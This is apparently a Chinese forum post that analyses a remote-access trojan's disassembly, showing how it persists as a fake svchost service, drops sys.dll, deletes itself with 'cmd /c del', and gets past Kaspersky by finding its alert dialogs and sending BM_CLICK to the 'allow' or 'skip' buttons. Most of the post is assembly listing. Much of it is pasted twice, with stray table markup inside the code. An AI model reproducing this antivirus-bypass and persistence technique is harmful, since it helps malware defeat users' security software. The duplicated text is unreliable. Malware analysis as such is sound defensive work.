一个过主动防御的方法
今天拿到一个过kaspersky主动防御而不改系统时间的远控马，于是分析下吧：
首先当然是创建线程：
push esp ; lpThreadId
push 0 ; dwCreationFlags
push 0 ; lpParameter
push offset sub_409178 ; lpStartAddress
push 0 ; dwStackSize
push 0 ; lpThreadAttributes
call CreateThread
pop edx
retn
获得句柄：
push 105h ; nSize
lea eax, [esp+10Ch+Filename]
push eax ; lpFilename
push 0 ; hModule
call GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call sub_403DD4
jmp short loc_402808
然后正式开始做坏事咯：
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
push ebx
xor eax, eax
mov [ebp+var_8], eax
xor eax, eax
push ebp
push offset sub_408E55
push dword ptr fs:[eax]
mov fs:[eax], esp
xor ebx, ebx
lea eax, [ebp+var_8]
mov edx, offset s_SoftwareMicro ; 'Software/Microsoft/Windows/CurrentVersion/Policies/system'
call sub_403D7C
lea eax, [ebp+hKey]
push eax ; phkResult
push 0F003Fh ; samDesired
push 0 ; ulOptions
mov eax, [ebp+var_8]
call sub_404158
push eax ; lpSubKey
push 80000001h ; hKey
call RegOpenKeyExA_0
test eax, eax
jnz short loc_408E3F
哦？RegOpenKeyExA这是要干什么呢？
push offset s_Disableregist ; "DisableRegistryTools"
mov eax, [ebp+hKey]
push eax ; hKey
call RegDeleteValueA
test eax, eax
jnz short loc_408E3D
哦 原来是禁用了注册表咯
接着：
loc_4091FF: ; uSize
push 100h
lea eax, [ebp+Buffer]
push eax ; lpBuffer
call GetWindowsDirectoryA
jmp short loc_409236
得到系统目录后：
loc_40A451:
lea edx, [ebp+var_1C]
mov eax, 1
call sub_4091CC
mov edx, [ebp+var_1C]
mov eax, offset dword_40CCD0
mov ecx, offset s_Svchost_exe-k ; "svchost.exe -k remoteservice"
call sub_403FA4
lea edx, [ebp+var_20]
mov eax, 1
call sub_4091CC
mov edx, [ebp+var_20]
mov eax, offset dword_40CCCC
mov ecx, offset s_Sys_dll_0 ; "sys.dll"
call sub_403FA4
call sub_40A030
test al, al
jz short loc_40A4FC
释放个sys.dll,然后：
push ebp
mov ebp, esp
push 0
push ebx
xor eax, eax
push ebp
push offset s_SCILYRemotese ; "閈b朶xFF/xFF腽嬅[Y]胷emoteservice"
push dword ptr fs:[eax]
mov fs:[eax], esp
xor ebx, ebx
push offset dword_40C8CC ; phkResult
push 20019h ; samDesired
push 0 ; ulOptions
mov eax, ds:off_40B2C4
call sub_404158
push eax ; lpSubKey
push 80000002h ; hKey
call RegOpenKeyExA_0
test eax, eax
jnz short loc_40A0D3
mov ds:dword_40CCC8, 3E9h
mov eax, ds:dword_40CCC8
mov ds:cbData, eax
mov ds:Type, 7
push offset cbData ; lpcbData
push offset Data ; lpData
push offset Type ; lpType
push 0 ; lpReserved
push (offset s_SCILYRemotese+0Dh) ; lpValueName
mov eax, ds:dword_40C8CC
push eax ; hKey
call RegQueryValueExA_0
test eax, eax
jnz short loc_40A0C8
又是注册表，看看写了虾米东西：
push ebp
push offset loc_40A572
push dword ptr fs:[eax]
mov fs:[eax], esp
lea eax, [ebp+var_24]
mov edx, offset s_RemoteNetwork ; "Remote network Help Control Service"
call sub_403EC0
mov eax, [ebp+var_24]
push eax
mov eax, ds:dword_40CCD0
call sub_404158
mov edx, eax
lea eax, [ebp+var_28]
call sub_403EC0
mov ecx, [ebp+var_28]
mov edx, offset s_RemoteNetwo_0 ; "Remote network Help Control Service"
mov eax, ds:off_40B2C8
call sub_409D6C
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
jmp short loc_40A57C
其实服务名很烂，一看就是马
具体的服务信息：
push ebp
mov ebp, esp
add esp, 0FFFFFFE0h
push ebx
xor ebx, ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ecx
mov [ebp+var_8], edx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
call sub_404148
mov eax, [ebp+var_8]
call sub_404148
mov eax, [ebp+var_C]
call sub_404148
mov eax, [ebp+arg_0]
call sub_404148
xor eax, eax
push ebp
push offset sub_409EDD
push dword ptr fs:[eax]
mov fs:[eax], esp
mov [ebp+var_D], 0
push 0F003Fh ; dwDesiredAccess
push 0 ; lpDatabaseName
push 0 ; lpMachineName
call OpenSCManagerA
mov [ebp+hSCManager], eax
push 0 ; lpPassword
push 0 ; lpServiceStartName
push 0 ; lpDependencies
push 0 ; lpdwTagId
push 0 ; lpLoadOrderGroup
mov eax, [ebp+var_C]
call sub_404158
push eax ; lpBinaryPathName
push 0 ; dwErrorControl
push 2 ; dwStartType
push 110h ; dwServiceType
push 0F01FFh ; dwDesiredAccess
mov eax, [ebp+var_8]
call sub_404158
push eax ; lpDisplayName
mov eax, [ebp+var_4]
call sub_404158
push eax ; lpServiceName
mov eax, [ebp+hSCManager]
push eax ; hSCManager 有兴趣的朋友可以算一下具体的配置信息咯；
call CreateServiceA
mov [ebp+hSCObject], eax
mov eax, ds:off_40B420
cmp dword ptr [eax], 0
jz loc_409E9B
最后：
call loc_409AD8
push 0 ; uCmdShow
call GetCommandLineA_0
mov edx, eax
lea eax, [ebp+var_30]
call sub_403EC0
mov ecx, [ebp+var_30]
lea eax, [ebp+var_2C]
mov edx, offset s_CmdCDel ; "cmd /c del "
call sub_403FA4
mov eax, [ebp+var_2C]
call sub_404158
push eax ; lpCmdLine
call WinExec 不得不说，这么删除。。。实在很懒...... 真是奇怪？很普通的服务启动，跟鸽子一样，怎么能过卡巴呢？
原来如此：
00408F19 |. 68 FF000000 push 0FF ; /Count = FF (255.)
00408F1E |. 8D85 00FFFFFF lea eax, dword ptr [ebp-100] ; |
00408F24 |. 50 push eax ; |Buffer
00408F25 |. 53 push ebx ; |hWnd
00408F26 |. E8 19C0FFFF call <jmp.&user32.GetClassNameA> ; /GetClassNameA 得到类名
00408F2B |. 68 FF000000 push 0FF ; /Count = FF (255.)
00408F30 |. 8D85 00FEFFFF lea eax, dword ptr [ebp-200] ; |
00408F36 |. 50 push eax ; |Buffer
00408F37 |. 53 push ebx ; |hWnd
00408F38 |. E8 1FC0FFFF call <jmp.&user32.GetWindowTextA> ; /GetWindowTextA 得到窗体标题
开始寻找avp窗体,也就是kaspersky主程序
如果有kaspersky子窗体的button
00408F54 |. BA 98904000 mov edx, 00409098 ; avp.button
00408F59 |. E8 46B1FFFF call 004040A4
00408F5E |. 0F85 F8000000 jnz 0040905C
00408F64 |. 8D95 F8FDFFFF lea edx, dword ptr [ebp-208]
00408F6A |. 8D85 00FEFFFF lea eax, dword ptr [ebp-200]
00408F70 |. E8 C3D0FFFF call 00406038
00408F75 |. 8B85 F8FDFFFF mov eax, dword ptr [ebp-208]
00408F7B |. BA AC904000 mov edx, 004090AC ; 允许
00408F80 |. E8 1FB1FFFF call 004040A4
00408F85 |. 0F84 B3000000 je 0040903E
00408F8B |. 8D95 F4FDFFFF lea edx, dword ptr [ebp-20C]
00408F91 |. 8D85 00FEFFFF lea eax, dword ptr [ebp-200]
00408F97 |. E8 9CD0FFFF call 00406038
00408F9C |. 8B85 F4FDFFFF mov eax, dword ptr [ebp-20C]
00408FA2 |. BA BC904000 mov edx, 004090BC ; 跳过
00408FA7 |. E8 F8B0FFFF call 004040A4
00408FAC |. 0F84 8C000000 je 0040903E
00408FB2 |. 8D95 F0FDFFFF lea edx, dword ptr [ebp-210]
00408FB8 |. 8D85 00FEFFFF lea eax, dword ptr [ebp-200]
00408FBE |. E8 75D0FFFF call 00406038
00408FC3 |. 8B85 F0FDFFFF mov eax, dword ptr [ebp-210]
00408FC9 |. BA CC904000 mov edx, 004090CC ; "允许" 繁体都照顾到了，真强，希望下次英文的pass也有.
00408FCE |. E8 D1B0FFFF call 004040A4
00408FD3 |. 74 69 je short 0040903E
00408FD5 |. 8D95 ECFDFFFF lea edx, dword ptr [ebp-214]
00408FDB |. 8D85 00FEFFFF lea eax, dword ptr [ebp-200]
00408FE1 |. E8 52D0FFFF call 00406038
00408FE6 |. 8B85 ECFDFFFF mov eax, dword ptr [ebp-214]
00408FEC |. BA DC904000 mov edx, 004090DC
00408FF1 |. E8 AEB0FFFF call 004040A4
00408FF6 |. 74 46 je short 0040903E
00408FF8 |. 8D95 E8FDFFFF lea edx, dword ptr [ebp-218]
00408FFE |. 8D85 00FEFFFF lea eax, dword ptr [ebp-200]
00409004 |. E8 2FD0FFFF call 00406038
00409009 |. 8B85 E8FDFFFF mov eax, dword ptr [ebp-218]
0040900F |. BA EC904000 mov edx, 004090EC
00409014 |. E8 8BB0FFFF call 004040A4
00409019 |. 74 23 je short 0040903E
0040901B |. 8D95 E4FDFFFF lea edx, dword ptr [ebp-21C][table=72%,#ffffff][tr][td=1,1,97%][/td][/tr][tr][td]00409021 |. 8D85 00FEFFFF lea eax, dword ptr [ebp-200]
00409027 |. E8 0CD0FFFF call 00406038
0040902C |. 8B85 E4FDFFFF mov eax, dword ptr [ebp-21C]
00409032 |. BA FC904000 mov edx, 004090FC
00409037 |. E8 68B0FFFF call 004040A4
0040903C |. 75 1E jnz short 0040905C
0040903E |> 6A 00 push 0 ; /lParam = 0
00409040 |. 6A 00 push 0 ; |wParam = 0
00409042 |. 68 F5000000 push 0F5 ; |Message = BM_CLICK
00409047 |. 53 push ebx ; |hWnd
00409048 |. E8 27BFFFFF call <jmp.&user32.SendMessageA> ; /SendMessageA
0040904D |. 6A 00 push 0 ; /lParam = 0
0040904F |. 6A 00 push 0 ; |wParam = 0
00409051 |. 68 F5000000 push 0F5 ; |Message = BM_CLICK
00409056 |. 53 push ebx ; |hWnd
00409057 |. E8 18BFFFFF call <jmp.&user32.SendMessageA> ; /SendMessageA
BM_CLICK原形，MSDN:
Simulates the user clicking a button. This message causes the button to receive the WM_LBUTTONDOWN and WM_LBUTTONUP messages, and the button's parent window to receive a BN_CLICKED notification message
通过SendMessageA来点击允许，失败则点击跳过
00409104 /. 55 push ebp
00409105 |. 8BEC mov ebp, esp
00409107 |. 6A 00 push 0 ; /Title = NULL
00409109 |. 68 4C914000 push 0040914C ; |avp.product_notification
0040910E |. E8 29BEFFFF call <jmp.&user32.FindWindowA> ; /FindWindowA
00409113 |. 85C0 test eax, eax
00409115 |. 74 12 je short 00409129
00409117 |. 6A 00 push 0 ; /lParam = 0
00409119 |. 68 60F00000 push 0F060 ; |wParam = F060
0040911E |. 68 12010000 push 112 ; |Message = WM_SYSCOMMAND
00409123 |. 50 push eax ; |hWnd
00409124 |. E8 4BBEFFFF call <jmp.&user32.SendMessageA> ; /SendMessageA
00409129 |> 6A 00 push 0 ; /Title = NULL
0040912B |. 68 68914000 push 00409168 ; |avp.alertdialog
00409130 |. E8 07BEFFFF call <jmp.&user32.FindWindowA> ; /FindWindowA
00409135 |. 85C0 test eax, eax
00409137 |. 74 0D je short 00409146
00409139 |. 6A 00 push 0 ; /lParam = 0
0040913B |. 68 C08E4000 push 00408EC0 ; |Callback = server.00408EC0
00409140 |. 50 push eax ; |hParent
00409141 |. E8 EEBDFFFF call <jmp.&user32.EnumChildWindows> ; /EnumChildWindows
00409146 |> 5D pop ebp
00409147 /. C2 1400 retn 14
0040914A 00 db 00
0040914B 00 db 00
0040914C . 41 56 50 2E 5>ascii "AVP.Product_Noti"
0040915C . 66 69 63 61 7>ascii "fication",0
00409165 00 db 00
00409166 00 db 00
00409167 00 db 00
00409168 . 41 56 50 2E 4>ascii "AVP.AlertDialog",0
00409178 . 6A 01 push 1
0040917A . 6A 00 push 0
0040917C . 68 04914000 push 00409104
00409181 . 6A 00 push 0
00409183 . 6A 01 push 1
00409185 . E8 5EF8FFFF call <jmp.&winmm.timeSetEvent>
0040918A . A3 64C84000 mov dword ptr [40C864], eax
0040918F > 6A 00 push 0 ; /MsgFilterMax = 0
00409191 . 6A 00 push 0 ; |MsgFilterMin = 0
00409193 . 6A 00 push 0 ; |hWnd = NULL
00409195 . 68 68C84000 push 0040C868 ; |pMsg = server.0040C868
0040919A . E8 ADBDFFFF call <jmp.&user32.GetMessageA> ; /GetMessageA
枚举一个父窗口的所有子窗口，也就是EnumChildWindows,获取提示框信息,
这里看的出，如果kaspersky出现子窗口，而且含有跳过，允许，那么就会被程序控制......
00409185 . E8 5EF8FFFF call <jmp.&winmm.timeSetEvent>
0040918A . A3 64C84000 mov dword ptr [40C864], eax
0040918F > 6A 00 push 0 ; /MsgFilterMax = 0
00409191 . 6A 00 push 0 ; |MsgFilterMin = 0
00409193 . 6A 00 push 0 ; |hWnd = NULL
00409195 . 68 68C84000 push 0040C868 ; |pMsg = server.0040C868
0040919A . E8 ADBDFFFF call <jmp.&user32.GetMessageA> ; /GetMessageA
0040919F . 85C0 test eax, eax
004091A1 .^ 75 EC jnz short 0040918F
004091A3 . C3 retn
004091A4 /$ 51 push ecx
004091A5 |. 84C0 test al, al
004091A7 |. 74 15 je short 004091BE
004091A9 |. 54 push esp ; /pThreadId
004091AA |. 6A 00 push 0 ; |CreationFlags = 0
004091AC |. 6A 00 push 0 ; |pThreadParm = NULL
004091AE |. 68 78914000 push 00409178 ; |ThreadFunction = server.00409178
004091B3 |. 6A 00 push 0 ; |StackSize = 0
004091B5 |. 6A 00 push 0 ; |pSecurity = NULL
004091B7 |. E8 58BCFFFF call <jmp.&kernel32.CreateThread> ; /CreateThread
使用计时器反复获得信息，最后如果成功跳过kaspersky则createthread.
得到系统目录：
当然前面还有个getversion,用于判断是winnt还是windows目录。
004091FF |> /68 00010000 push 100 ; /BufSize = 100 (256.); Case 0 of switch 004091F3
00409204 |. 8D85 00FFFFFF lea eax, dword ptr [ebp-100] ; |
0040920A |. 50 push eax ; |Buffer
0040920B |. E8 CCBCFFFF call <jmp.&kernel32.GetWindowsDirecto>; /GetWindowsDirectoryA
00409210 |. EB 24 jmp short 00409236
00409212 |> 68 00010000 push 100 ; /BufSize = 100 (256.); Case 1 of switch 004091F3
00409217 |. 8D85 00FFFFFF lea eax, dword ptr [ebp-100] ; |
0040921D |. 50 push eax ; |Buffer
0040921E |. E8 99BCFFFF call <jmp.&kernel32.GetSystemDirector>; /GetSystemDirectoryA
00409223 |. EB 11 jmp short 00409236
00409225 |> 8D85 00FFFFFF lea eax, dword ptr [ebp-100] ; Case 2 of switch 004091F3
0040922B |. 50 push eax ; /Buffer
0040922C |. 68 00010000 push 100 ; |BufSize = 100 (256.)
00409231 |. E8 8EBCFFFF call <jmp.&kernel32.GetTempPathA> ; /GetTempPathA
00409236 |> 83FB 02 cmp ebx, 2 ; Default case of switch 004091F3
最后：
004092FC |. 50 push eax ; |ResourceName
004092FD |. A1 60C64000 mov eax, dword ptr [40C660] ; |
00409302 |. 50 push eax ; |hModule => NULL
00409303 |. E8 4CBBFFFF call <jmp.&kernel32.FindResourceA> ; /FindResourceA
00409308 |. 8BD8 mov ebx, eax
0040930A |. 85DB test ebx, ebx
0040930C |. 74 67 je short 00409375
0040930E |. 53 push ebx ; /hResource
0040930F |. A1 60C64000 mov eax, dword ptr [40C660] ; |
00409314 |. 50 push eax ; |hModule => NULL
00409315 |. E8 D2BBFFFF call <jmp.&kernel32.LoadResource> ; /LoadResource
0040931A |. 85C0 test eax, eax
0040931C |. 74 57 je short 00409375
0040931E |. 50 push eax ; /hResource
0040931F |. E8 D0BBFFFF call <jmp.&kernel32.LockResource> ; /LockResource
00409324 |. 8BF8 mov edi, eax
00409326 |. 53 push ebx ; /hResource
00409327 |. A1 60C64000 mov eax, dword ptr [40C660] ; |
0040932C |. 50 push eax ; |hModule => NULL
0040932D |. E8 D2BBFFFF call <jmp.&kernel32.SizeofResource> ; /SizeofResource
00409332 |. 8BD8 mov ebx, eax
00409334 |. 85FF test edi, edi
00409336 |. 74 3D je short 00409375
00409338 |. 6A 00 push 0
0040933A |. 68 80000000 push 80
0040933F |. 6A 02 push 2
00409341 |. 6A 00 push 0
00409343 |. 6A 00 push 0
00409345 |. 68 000000C0 push C0000000
0040934A |. 8B45 F4 mov eax, dword ptr [ebp-C]
0040934D |. E8 06AEFFFF call 00404158
00409352 |. 50 push eax ; |FileName
00409353 |. E8 B4BAFFFF call <jmp.&kernel32.CreateFileA> ; /CreateFileA
00409358 |. 8BF0 mov esi, eax
0040935A |. 83FE FF cmp esi, -1
0040935D |. 74 16 je short 00409375
0040935F |. 6A 00 push 0 ; /pOverlapped = NULL
00409361 |. 8D45 EC lea eax, dword ptr [ebp-14] ; |
00409364 |. 50 push eax ; |pBytesWritten
00409365 |. 53 push ebx ; |nBytesToWrite
00409366 |. 57 push edi ; |Buffer
00409367 |. 56 push esi ; |hFile
00409368 |. E8 AFBBFFFF call <jmp.&kernel32.WriteFile> ; /WriteFile
0040936D |. 85C0 test eax, eax
0040936F |. 74 04 je short 00409375
00409371 |. C645 F3 01 mov byte ptr [ebp-D], 1
00409375 |> 83FE FF cmp esi, -1
00409378 |. 74 06 je short 00409380
0040937A |. 56 push esi ; /hObject
0040937B |. E8 7CBAFFFF call <jmp.&kernel32.CloseHandle> ; /CloseHandle
创建文件，关闭句柄。
首先当然是创建线程：
push esp ; lpThreadId
push 0 ; dwCreationFlags
push 0 ; lpParameter
push offset sub_409178 ; lpStartAddress
push 0 ; dwStackSize
push 0 ; lpThreadAttributes
call CreateThread
pop edx
retn
获得句柄：
push 105h ; nSize
lea eax, [esp+10Ch+Filename]
push eax ; lpFilename
push 0 ; hModule
call GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call sub_403DD4
jmp short loc_402808
然后正式开始做坏事咯：
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
push ebx
xor eax, eax
mov [ebp+var_8], eax
xor eax, eax
push ebp
push offset sub_408E55
push dword ptr fs:[eax]
mov fs:[eax], esp
xor ebx, ebx
lea eax, [ebp+var_8]
mov edx, offset s_SoftwareMicro ; 'Software/Microsoft/Windows/CurrentVersion/Policies/system'
call sub_403D7C
lea eax, [ebp+hKey]
push eax ; phkResult
push 0F003Fh ; samDesired
push 0 ; ulOptions
mov eax, [ebp+var_8]
call sub_404158
push eax ; lpSubKey
push 80000001h ; hKey
call RegOpenKeyExA_0
test eax, eax
jnz short loc_408E3F
哦？RegOpenKeyExA这是要干什么呢？
push offset s_Disableregist ; "DisableRegistryTools"
mov eax, [ebp+hKey]
push eax ; hKey
call RegDeleteValueA
test eax, eax
jnz short loc_408E3D
哦 原来是禁用了注册表咯
接着：
loc_4091FF: ; uSize
push 100h
lea eax, [ebp+Buffer]
push eax ; lpBuffer
call GetWindowsDirectoryA
jmp short loc_409236
得到系统目录后：
loc_40A451:
lea edx, [ebp+var_1C]
mov eax, 1
call sub_4091CC
mov edx, [ebp+var_1C]
mov eax, offset dword_40CCD0
mov ecx, offset s_Svchost_exe-k ; "svchost.exe -k remoteservice"
call sub_403FA4
lea edx, [ebp+var_20]
mov eax, 1
call sub_4091CC
mov edx, [ebp+var_20]
mov eax, offset dword_40CCCC
mov ecx, offset s_Sys_dll_0 ; "sys.dll"
call sub_403FA4
call sub_40A030
test al, al
jz short loc_40A4FC
释放个sys.dll,然后：
push ebp
mov ebp, esp
push 0
push ebx
xor eax, eax
push ebp
push offset s_SCILYRemotese ; "閈b朶xFF/xFF腽嬅[Y]胷emoteservice"
push dword ptr fs:[eax]
mov fs:[eax], esp
xor ebx, ebx
push offset dword_40C8CC ; phkResult
push 20019h ; samDesired
push 0 ; ulOptions
mov eax, ds:off_40B2C4
call sub_404158
push eax ; lpSubKey
push 80000002h ; hKey
call RegOpenKeyExA_0
test eax, eax
jnz short loc_40A0D3
mov ds:dword_40CCC8, 3E9h
mov eax, ds:dword_40CCC8
mov ds:cbData, eax
mov ds:Type, 7
push offset cbData ; lpcbData
push offset Data ; lpData
push offset Type ; lpType
push 0 ; lpReserved
push (offset s_SCILYRemotese+0Dh) ; lpValueName
mov eax, ds:dword_40C8CC
push eax ; hKey
call RegQueryValueExA_0
test eax, eax
jnz short loc_40A0C8
又是注册表，看看写了虾米东西：
push ebp
push offset loc_40A572
push dword ptr fs:[eax]
mov fs:[eax], esp
lea eax, [ebp+var_24]
mov edx, offset s_RemoteNetwork ; "Remote network Help Control Service"
call sub_403EC0
mov eax, [ebp+var_24]
push eax
mov eax, ds:dword_40CCD0
call sub_404158
mov edx, eax
lea eax, [ebp+var_28]
call sub_403EC0
mov ecx, [ebp+var_28]
mov edx, offset s_RemoteNetwo_0 ; "Remote network Help Control Service"
mov eax, ds:off_40B2C8
call sub_409D6C
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
jmp short loc_40A57C
其实服务名很烂，一看就是马
具体的服务信息：
push ebp
mov ebp, esp
add esp, 0FFFFFFE0h
push ebx
xor ebx, ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ecx
mov [ebp+var_8], edx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
call sub_404148
mov eax, [ebp+var_8]
call sub_404148
mov eax, [ebp+var_C]
call sub_404148
mov eax, [ebp+arg_0]
call sub_404148
xor eax, eax
push ebp
push offset sub_409EDD
push dword ptr fs:[eax]
mov fs:[eax], esp
mov [ebp+var_D], 0
push 0F003Fh ; dwDesiredAccess
push 0 ; lpDatabaseName
push 0 ; lpMachineName
call OpenSCManagerA
mov [ebp+hSCManager], eax
push 0 ; lpPassword
push 0 ; lpServiceStartName
push 0 ; lpDependencies
push 0 ; lpdwTagId
push 0 ; lpLoadOrderGroup
mov eax, [ebp+var_C]
call sub_404158
push eax ; lpBinaryPathName
push 0 ; dwErrorControl
push 2 ; dwStartType
push 110h ; dwServiceType
push 0F01FFh ; dwDesiredAccess
mov eax, [ebp+var_8]
call sub_404158
push eax ; lpDisplayName
mov eax, [ebp+var_4]
call sub_404158
push eax ; lpServiceName
mov eax, [ebp+hSCManager]
push eax ; hSCManager 有兴趣的朋友可以算一下具体的配置信息咯；
call CreateServiceA
mov [ebp+hSCObject], eax
mov eax, ds:off_40B420
cmp dword ptr [eax], 0
jz loc_409E9B
最后：
call loc_409AD8
push 0 ; uCmdShow
call GetCommandLineA_0
mov edx, eax
lea eax, [ebp+var_30]
call sub_403EC0
mov ecx, [ebp+var_30]
lea eax, [ebp+var_2C]
mov edx, offset s_CmdCDel ; "cmd /c del "
call sub_403FA4
mov eax, [ebp+var_2C]
call sub_404158
push eax ; lpCmdLine
call WinExec 不得不说，这么删除。。。实在很懒...... 真是奇怪？很普通的服务启动，跟鸽子一样，怎么能过卡巴呢？
原来如此：
00408F19 |. 68 FF000000 push 0FF ; /Count = FF (255.)
00408F1E |. 8D85 00FFFFFF lea eax, dword ptr [ebp-100] ; |
00408F24 |. 50 push eax ; |Buffer
00408F25 |. 53 push ebx ; |hWnd
00408F26 |. E8 19C0FFFF call <jmp.&user32.GetClassNameA> ; /GetClassNameA 得到类名
00408F2B |. 68 FF000000 push 0FF ; /Count = FF (255.)
00408F30 |. 8D85 00FEFFFF lea eax, dword ptr [ebp-200] ; |
00408F36 |. 50 push eax ; |Buffer
00408F37 |. 53 push ebx ; |hWnd
00408F38 |. E8 1FC0FFFF call <jmp.&user32.GetWindowTextA> ; /GetWindowTextA 得到窗体标题
开始寻找avp窗体,也就是kaspersky主程序
如果有kaspersky子窗体的button
00408F54 |. BA 98904000 mov edx, 00409098 ; avp.button
00408F59 |. E8 46B1FFFF call 004040A4
00408F5E |. 0F85 F8000000 jnz 0040905C
00408F64 |. 8D95 F8FDFFFF lea edx, dword ptr [ebp-208]
00408F6A |. 8D85 00FEFFFF lea eax, dword ptr [ebp-200]
00408F70 |. E8 C3D0FFFF call 00406038
00408F75 |. 8B85 F8FDFFFF mov eax, dword ptr [ebp-208]
00408F7B |. BA AC904000 mov edx, 004090AC ; 允许
00408F80 |. E8 1FB1FFFF call 004040A4
00408F85 |. 0F84 B3000000 je 0040903E
00408F8B |. 8D95 F4FDFFFF lea edx, dword ptr [ebp-20C]
00408F91 |. 8D85 00FEFFFF lea eax, dword ptr [ebp-200]
00408F97 |. E8 9CD0FFFF call 00406038
00408F9C |. 8B85 F4FDFFFF mov eax, dword ptr [ebp-20C]
00408FA2 |. BA BC904000 mov edx, 004090BC ; 跳过
00408FA7 |. E8 F8B0FFFF call 004040A4
00408FAC |. 0F84 8C000000 je 0040903E
00408FB2 |. 8D95 F0FDFFFF lea edx, dword ptr [ebp-210]
00408FB8 |. 8D85 00FEFFFF lea eax, dword ptr [ebp-200]
00408FBE |. E8 75D0FFFF call 00406038
00408FC3 |. 8B85 F0FDFFFF mov eax, dword ptr [ebp-210]
00408FC9 |. BA CC904000 mov edx, 004090CC ; "允许" 繁体都照顾到了，真强，希望下次英文的pass也有.
00408FCE |. E8 D1B0FFFF call 004040A4
00408FD3 |. 74 69 je short 0040903E
00408FD5 |. 8D95 ECFDFFFF lea edx, dword ptr [ebp-214]
00408FDB |. 8D85 00FEFFFF lea eax, dword ptr [ebp-200]
00408FE1 |. E8 52D0FFFF call 00406038
00408FE6 |. 8B85 ECFDFFFF mov eax, dword ptr [ebp-214]
00408FEC |. BA DC904000 mov edx, 004090DC
00408FF1 |. E8 AEB0FFFF call 004040A4
00408FF6 |. 74 46 je short 0040903E
00408FF8 |. 8D95 E8FDFFFF lea edx, dword ptr [ebp-218]
00408FFE |. 8D85 00FEFFFF lea eax, dword ptr [ebp-200]
00409004 |. E8 2FD0FFFF call 00406038
00409009 |. 8B85 E8FDFFFF mov eax, dword ptr [ebp-218]
0040900F |. BA EC904000 mov edx, 004090EC
00409014 |. E8 8BB0FFFF call 004040A4
00409019 |. 74 23 je short 0040903E
0040901B |. 8D95 E4FDFFFF lea edx, dword ptr [ebp-21C][table=72%,#ffffff][tr][td=1,1,97%][/td][/tr][tr][td]00409021 |. 8D85 00FEFFFF lea eax, dword ptr [ebp-200]
00409027 |. E8 0CD0FFFF call 00406038
0040902C |. 8B85 E4FDFFFF mov eax, dword ptr [ebp-21C]
00409032 |. BA FC904000 mov edx, 004090FC
00409037 |. E8 68B0FFFF call 004040A4
0040903C |. 75 1E jnz short 0040905C
0040903E |> 6A 00 push 0 ; /lParam = 0
00409040 |. 6A 00 push 0 ; |wParam = 0
00409042 |. 68 F5000000 push 0F5 ; |Message = BM_CLICK
00409047 |. 53 push ebx ; |hWnd
00409048 |. E8 27BFFFFF call <jmp.&user32.SendMessageA> ; /SendMessageA
0040904D |. 6A 00 push 0 ; /lParam = 0
0040904F |. 6A 00 push 0 ; |wParam = 0
00409051 |. 68 F5000000 push 0F5 ; |Message = BM_CLICK
00409056 |. 53 push ebx ; |hWnd
00409057 |. E8 18BFFFFF call <jmp.&user32.SendMessageA> ; /SendMessageA
BM_CLICK原形，MSDN:
Simulates the user clicking a button. This message causes the button to receive the WM_LBUTTONDOWN and WM_LBUTTONUP messages, and the button's parent window to receive a BN_CLICKED notification message
通过SendMessageA来点击允许，失败则点击跳过
00409104 /. 55 push ebp
00409105 |. 8BEC mov ebp, esp
00409107 |. 6A 00 push 0 ; /Title = NULL
00409109 |. 68 4C914000 push 0040914C ; |avp.product_notification
0040910E |. E8 29BEFFFF call <jmp.&user32.FindWindowA> ; /FindWindowA
00409113 |. 85C0 test eax, eax
00409115 |. 74 12 je short 00409129
00409117 |. 6A 00 push 0 ; /lParam = 0
00409119 |. 68 60F00000 push 0F060 ; |wParam = F060
0040911E |. 68 12010000 push 112 ; |Message = WM_SYSCOMMAND
00409123 |. 50 push eax ; |hWnd
00409124 |. E8 4BBEFFFF call <jmp.&user32.SendMessageA> ; /SendMessageA
00409129 |> 6A 00 push 0 ; /Title = NULL
0040912B |. 68 68914000 push 00409168 ; |avp.alertdialog
00409130 |. E8 07BEFFFF call <jmp.&user32.FindWindowA> ; /FindWindowA
00409135 |. 85C0 test eax, eax
00409137 |. 74 0D je short 00409146
00409139 |. 6A 00 push 0 ; /lParam = 0
0040913B |. 68 C08E4000 push 00408EC0 ; |Callback = server.00408EC0
00409140 |. 50 push eax ; |hParent
00409141 |. E8 EEBDFFFF call <jmp.&user32.EnumChildWindows> ; /EnumChildWindows
00409146 |> 5D pop ebp
00409147 /. C2 1400 retn 14
0040914A 00 db 00
0040914B 00 db 00
0040914C . 41 56 50 2E 5>ascii "AVP.Product_Noti"
0040915C . 66 69 63 61 7>ascii "fication",0
00409165 00 db 00
00409166 00 db 00
00409167 00 db 00
00409168 . 41 56 50 2E 4>ascii "AVP.AlertDialog",0
00409178 . 6A 01 push 1
0040917A . 6A 00 push 0
0040917C . 68 04914000 push 00409104
00409181 . 6A 00 push 0
00409183 . 6A 01 push 1
00409185 . E8 5EF8FFFF call <jmp.&winmm.timeSetEvent>
0040918A . A3 64C84000 mov dword ptr [40C864], eax
0040918F > 6A 00 push 0 ; /MsgFilterMax = 0
00409191 . 6A 00 push 0 ; |MsgFilterMin = 0
00409193 . 6A 00 push 0 ; |hWnd = NULL
00409195 . 68 68C84000 push 0040C868 ; |pMsg = server.0040C868
0040919A . E8 ADBDFFFF call <jmp.&user32.GetMessageA> ; /GetMessageA
枚举一个父窗口的所有子窗口，也就是EnumChildWindows,获取提示框信息,
这里看的出，如果kaspersky出现子窗口，而且含有跳过，允许，那么就会被程序控制......
00409185 . E8 5EF8FFFF call <jmp.&winmm.timeSetEvent>
0040918A . A3 64C84000 mov dword ptr [40C864], eax
0040918F > 6A 00 push 0 ; /MsgFilterMax = 0
00409191 . 6A 00 push 0 ; |MsgFilterMin = 0
00409193 . 6A 00 push 0 ; |hWnd = NULL
00409195 . 68 68C84000 push 0040C868 ; |pMsg = server.0040C868
0040919A . E8 ADBDFFFF call <jmp.&user32.GetMessageA> ; /GetMessageA
0040919F . 85C0 test eax, eax
004091A1 .^ 75 EC jnz short 0040918F
004091A3 . C3 retn
004091A4 /$ 51 push ecx
004091A5 |. 84C0 test al, al
004091A7 |. 74 15 je short 004091BE
004091A9 |. 54 push esp ; /pThreadId
